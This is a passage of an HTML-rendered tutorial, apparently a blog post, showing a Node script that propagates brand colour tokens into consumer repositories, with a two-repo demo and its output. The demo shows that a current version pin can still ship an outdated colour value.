&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; EXPLAIN &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  brand: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;BRAND VALUES CHANGED -&gt; open a pull request&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  stale: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;pin was behind, no rendered change -&gt; bumped quietly&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  current: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;already current&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  missing: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;no brand region in this checkout&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;.meta.url &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `file://${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;process&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;argv&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; dryRun &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; process.argv.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;includes&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;--dry-run&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;release.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)).version;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tokens &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;tokens.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; consumers &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; JSON.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;consumers.json&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; consumers.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((c) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    propagate&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;({ tokens, consumer: c, root: c.root, version, dryRun }));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;of&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; tag &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.verdict &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;brand&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;PR  &apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;    &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;tag&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} wrote-by ${&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;String&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;wroteBy&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;padEnd&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;7&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EXPLAIN&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;verdict&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; prs &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; results.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;((r) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; r.verdict &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;===&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;brand&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).length;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;results&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.length&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} consumers, ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;prs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} pull request${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;prs&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ===&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;s&apos;}${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;dryRun&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; ?&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos; (dry run)&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;&apos;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Run it against two consumers that disagree&lt;/h2&gt;
&lt;p&gt;Set up two checkouts that are wrong in opposite directions. One has an old pin but correct content; the other is pinned at the current release and carries an accent color that has since moved.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; release.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{ &quot;version&quot;: &quot;0.4.0&quot; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; tokens.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{ &quot;paper&quot;: &quot;#F5F0E6&quot;, &quot;ink&quot;: &quot;#181510&quot;, &quot;accent&quot;: &quot;#E8501F&quot; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumers.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  { &quot;id&quot;: &quot;site&quot;,   &quot;root&quot;: &quot;consumers/site&quot;,   &quot;path&quot;: &quot;brand.css&quot; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  { &quot;id&quot;: &quot;report&quot;, &quot;root&quot;: &quot;consumers/report&quot;, &quot;path&quot;: &quot;brand.css&quot; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;mkdir&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -p&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumers/site/.github/workflows&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumers/report/.github/workflows&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# site: region already byte-correct, but its CI pin is two releases old&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumers/site/brand.css&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/* &gt;&gt;&gt; brand v0.2.0 GENERATED, do not edit */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --paper: #F5F0E6;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --ink: #181510;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --accent: #E8501F;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/* &amp;#x3C;&amp;#x3C;&amp;#x3C; brand */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.masthead { color: var(--ink); }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;      - run: npx -y @acme/brand@0.2.0 check&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumers/site/.github/workflows/ci.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# report: pinned at the current release, but carrying an accent that moved&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumers/report/brand.css&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &amp;#x3C;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;&apos;EOF&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/* &gt;&gt;&gt; brand v0.4.0 GENERATED, do not edit */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --paper: #F5F0E6;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --ink: #181510;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  --accent: #FF6B35;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;/* &amp;#x3C;&amp;#x3C;&amp;#x3C; brand */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.figure { border-color: var(--accent); }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;EOF&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;      - run: npx -y @acme/brand@0.4.0 check&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; &gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumers/report/.github/workflows/ci.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; propagate.mjs&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --dry-run&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    site       wrote-by 0.2.0   pin was behind, no rendered change -&gt; bumped quietly&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PR  report     wrote-by 0.4.0   BRAND VALUES CHANGED -&gt; open a pull request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;2 consumers, 1 pull request (dry run)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is the payoff, and it inverts the obvious reading. &lt;code&gt;site&lt;/code&gt; looks neglected: a pin two releases old and a region stamped by 0.2.0. It needs no review, because its bytes are already right. &lt;code&gt;report&lt;/code&gt; looks impeccable: pinned at the current release, region stamped with the current version. It’s the one shipping the wrong color. Version numbers describe what a repo &lt;em&gt;ran&lt;/em&gt;, not what it &lt;em&gt;has&lt;/em&gt;, and only re-deriving the content tells you which.&lt;/p&gt;
&lt;p&gt;Apply it, then run again:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; propagate.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumers/report/brand.css&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;cat&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; consumers/site/.github/workflows/ci.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;node&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; propagate.mjs&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    site       wrote-by 0.2.0   pin was behind, no rendered change -&gt; bumped quietly&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;PR  report     wrote-by 0.4.0   BRAND VALUES CHANGED -&gt; open a pull request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;2 consumers, 1 pull request&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/* &gt;&gt;&gt; brand v0.4.0 GENERATED, do not edit */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  --paper: #F5F0E6;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  --ink: #181510;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;  --accent: #E8501F;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;/* &amp;#x3C;&amp;#x3C;&amp;#x3C; brand */&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;.figure { border-color: var(--accent); }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;      - run: npx -y @acme/brand@0.4.0 check&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    site       wrote-by 0.2.0   already current&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;    report     wrote-by 0.4.0   already current&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span&gt;2 consumers, 0 pull requests&lt;/span&gt;&lt;/span&gt;
